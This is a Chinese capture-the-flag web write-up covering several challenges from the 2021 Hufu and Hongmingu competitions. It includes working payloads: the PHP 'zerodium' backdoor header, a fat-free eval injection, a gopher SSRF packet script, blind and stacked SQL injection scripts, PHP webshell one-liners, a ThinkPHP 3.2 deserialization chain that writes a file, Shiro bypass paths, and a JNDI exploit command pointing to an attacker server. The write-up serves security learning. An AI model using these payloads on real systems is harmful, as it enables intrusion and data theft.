2021 红名谷 x 虎符 CTF web题解

2021 红名谷 x 虎符 CTF web题解

前言

两个比赛正好连在一起了,抽了时间做了下。题目质量,感觉两个比赛web质量都不怎么样。很难再去达到D3CTF的那个水准了。就记一下流水账,有意思的点还是会提一下的,感觉更多地还是对一些知识的巩固吧。由于虎符先打的,所以虎符开始吧。

虎符

web题解题情况

签到题

这道题考的确实有点尬,考的是php+git服务器最近被黑,然后插入了恶意代码,然后“红蓝双方”激战的一次事件(2333333。最后也是放了提示才被一路上分的.

User-Agentt: zerodiumsystem('cat /flag');

特征

1
2
3
HTTP字段: User-Agentt
zerodium+代码
User-Agentt: zerodiumsystem('whoami');

unsetme

入题代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
// Kickstart the framework
$f3=require('base.php');

$f3->set('DEBUG',1);
if ((float)PCRE_VERSION<8.0)
trigger_error('PCRE version is out of date');

// Load configuration
highlight_file(__FILE__);
$a=$_GET['a'];
unset($f3->$a);

$f3->run();

看代码特征,可以去网上搜一下这个,很快就能得到,其实使用的就是fat-free框架。所以简单的搜索一下就可以找到在之前存在一个rce的漏洞。然后定位到修改记录:

https://github.com/bcosca/fatfree-core/commit/dae95a0baf3963a9ef87c17cee52f78f77e21829

存在eval,可以代码注入

所以这题的一个大致思路就知道了,首先我们看到在题目代码中给了一个unset,我们都知道如果unset一个不存在的变量会触发__unset魔术方法,我们简单查看一下调用的思路。

有一条路可以到eval

所以大致的思路就是:unset一个不存在的变量,触发__unset魔术方法,从而调动eval进行代码执行。

这里我们通过上xdebug调试一下,不难得出最后的payload

1
?a=-[]);system(%27cat%20/flag%27);print(1

“慢慢做”管理系统

这题一开始也是和签到一样,大家疯狂fuzz,结果一点回显都没有,之后给了个提示,很快就可以想到是md5注入。但是常见的md5注入的字符串被ban了。

这里可以通过爆破的方式来跑

1
129581926211651571912466741651878684928

输入admin/129581926211651571912466741651878684928就可以进入下一关。

到了后台就是一个让我们输入gopher的页面。然后通过查看表单,可以看到需要post3个字段

  • username
  • password
  • submit

思路很清晰,让我们去gopher构造post包打内网的admin。那么就需要写个脚本来将http包转换成gopher

所以编写了一个如下的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# -*- coding: utf-8 -*-
""" Python
Author: Mrkaixin
Date: 2021-04-03 13:59
FileName: aaa.py
"""
import binascii

body = "username=admin_inner&password=5fb4e07de914cfc82afb44vbaf402203&submit=1".replace(" ","/**/")
cookie = "2mvcbf12bpq1189e93j2ntr1m2"
url ="eci-2ze0zymtn8al5iyubf6d.cloudeci1.ichunqiu.com"

packet = """POST /admin.php HTTP/1.1
Host: eci-2zebzgm4cw91g202leaa.cloudeci1.ichunqiu.com
Cookie: __jsluid_h=9f2b87722f70592d447238c8e302c466;PHPSESSID=2mvcbf12bpq1189e93j2ntr1m2;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: %d

%s
""" % (len(body), body)

def hex(num):
num = str(num)
return str(binascii.b2a_hex(num.encode('utf-8')), 'utf-8')


def req():
# -*- coding: UTF-8 -*-
# coding: utf-8
from urllib.parse import quote

s = hex(packet)
l = len(s)
p = ''
for i in range(l)[::2]:
p += quote(chr(int(s[i:i + 2], 16)))
# print(p)

# If url browser access needs to be encoded again, curl can directly access
urlp = quote(p)
urlp = 'gopher%3A%2F%2F127.0.0.1:80%2F_' + urlp
return urlp
# print(urlp)


def main():
payload = req()
print(payload)


if __name__ == '__main__':
main()

这里肯定想着还是sql注入,尝试了一下,发现用户名存在注入,但是发现select被过滤了,常见的select被过滤后bypass的思路,都是基于堆叠注入的。所以首先尝试了一下。但是这靶机实在是太tm拉胯了,只要包一次没发对,就要重新下发靶机,做这题下发了10+次靶机(我服了!

话说回来,这里首先尝试包库,发现存在一个ctf2的库。然后里面有两个表

  • real_admin_here_do_you_find
  • fake_admin

那么顺着qwb的思路,可以通过修改表名。构造一下payload

1
body = "username=1'; RENAME TABLE `fake_admin` TO `words1`;RENAME TABLE `real_admin_here_do_you_find` TO `fake_admin`;--+&password=1&submit=1"

可以顺利得到账号和密码

1
body = "username=admin_inner&password=5fb4e07de914cfc82afb44vbaf402203&submit=1"

所以这里利索当然去尝试登陆一下,发现会服务器会给一个PHPSESSID,带着这个SESSION去访问flag.php即可

flag到手

proxy

这题到最后是0解,如果有机会可以去复现,前面的思路大概是

  1. 通过js的弱比较绕过登录的限制:username[]=admin&password=123123
  2. 后端存在SSRF,并且可以支持302跳转,所以可以做一个内网的扫描
  3. 访问3000端口的/flag路由,可以发现hint,说内网存在微服务。
  4. 然后就是微服务RCE(猜测,逃。。。

红明谷

解题情况

happySql

题目过滤了很多,但是可以通过是用正则来绕过。绕过的组合拳

  • 十六进制绕过敏感关键字
  • 正则注入
  • 内联注释绕过空格
  • mysql.innodb_table_stats读表名
  • 无列名

把组合拳变成如下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# -*- coding: utf-8 -*-
""" Python
Author: Mrkaixin
Date: 2021-04-02 10:39
FileName: happysql_exp.py
"""
import binascii

import requests

alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C',
'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',",","_","{","}","-"]

proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}


def hex(num):
num = str(num)
return "0x" + str(binascii.b2a_hex(num.encode('utf-8')), 'utf-8')


def request():
session = requests.Session()

headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Linux; Android 11; Z832 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Mobile Safari/537.36",
"Connection": "close", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded"}
cookies = {"__jsluid_h": "d11b8e5cc764fa145b0633ba60cb5ec2", "PHPSESSID": "6602b3ce4c09d3d40758dcef43897a08",
"pgv_pvi": "9204719616"}
text = ""
for length in range(1, 100):
for x in alphabet:
reg = hex(f"^{text + x}")
sql = "select group_concat(a.1) from (select 1 union select * from f1ag)a ".replace(" ","/**/")
# sql = "select group_concat(table_name) from mysql.innodb_table_stats".replace(" ","/**/")
paramsPost = {"password": "",
"username": "mrkaixin\"||(select/**/case/**/when/**/(({sql})/**/regexp/**/{reg})/**/then/**/exp(9999999999999999999999999999999999)/**/else/**/1/**/end)\x23".format(
reg=reg,sql=sql)}
response = session.post("http://eci-2zecqhthq7746slnod4g.cloudeci1.ichunqiu.com/login.php", data=paramsPost,
headers=headers, cookies=cookies, proxies=proxies)
if response.text.find("Username") != -1:
text += x
print(text)
break


def main():
request()


if __name__ == '__main__':
main()

writeShell

这题也比较水,首先通过action拿到上传的路径。然后写入shell,先尝试读取路径

1
<?=`ls%09/`;

然后读读文件就行了

1
<?=`cat<>/flag`;

easytp

简单说一下思路,首先在url后面随便输入一下,然后很容易就可知道这个是一个3.2版本的tp。那么最近好像也看到过tp3.2有一些可以利用的点,比如反序列化啥的。正好www.zip可以拿到这个源码。发现在IndexController就有一个反序列化的点,所以找到了一篇文章

https://mp.weixin.qq.com/s/S3Un1EM-cftFXr8hxG4qfA

这里面讲述了,一个可控的sql连接服务器的一条链子。很巧妙,顺着https://xz.aliyun.com/t/9256文章的思路,我们可以简单的改写一下这个链子,便可以做到两种攻击.这里有一步需要猜解弱口令:`123456`

  • 写入文件利用select into outlife去尝试写马,写了shell之后发现start.sh,flag其实在数据库中,所以尝试改造
  • 尝试直接union select注入,来读flag,最后的poc如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "mysql",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "123456"
);
}
}

namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;

public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;

public function __construct(){
$this->handle = new Model();
}
}
}

namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;

public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user",
"where" => "1=1; select f14g from tp.f14g into outfile '/var/www/html/Public/mrkaixin.php'"
);
}
}
}

namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

javaweb

这题当时没做出来,之后和别的师傅讨论了下,感觉还是能够学到很多东西的。其主要的攻击思路

  • shiro权限绕过
  • jackson-databind的链子
  • RMI注入在高版本的绕过

其实感觉不算难,就是当时缺乏一个探测的技巧,感觉还是工具很重要,之后还是要多写点工具。

shiro权限绕过cheat

1
2
3
4
5
<1.5.3
/;/login
<1.7.1
/admin/%20
或者%08、%09、%0a

jndi探测工具

https://github.com/welk1n/JNDI-Injection-Exploit

1
java -jar xxxx.jar -C "whoami" -A "你服务器ip"

java命令执行格式化

https://x.hacking8.com/?post=293

jackson反序列化

https://xz.aliyun.com/u/10995

跟着al1ex师傅的文章学吧

jndi高版本注入

http://www.yulegeyu.com/2019/01/11/Exploitng-JNDI-Injection-In-Java/

https://0day.design/2020/02/04/JNDI%E6%B3%A8%E5%85%A5%E9%AB%98%E7%89%88%E6%9C%ACjdk%E7%BB%95%E8%BF%87%E5%AD%A6%E4%B9%A0/

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

参考文章

痛失CVE之xyhcms(thinkphp3.2.3)反序列化

# 推荐文章

评论


:D 一言句子获取中...

加载中,最新评论有1分钟延迟...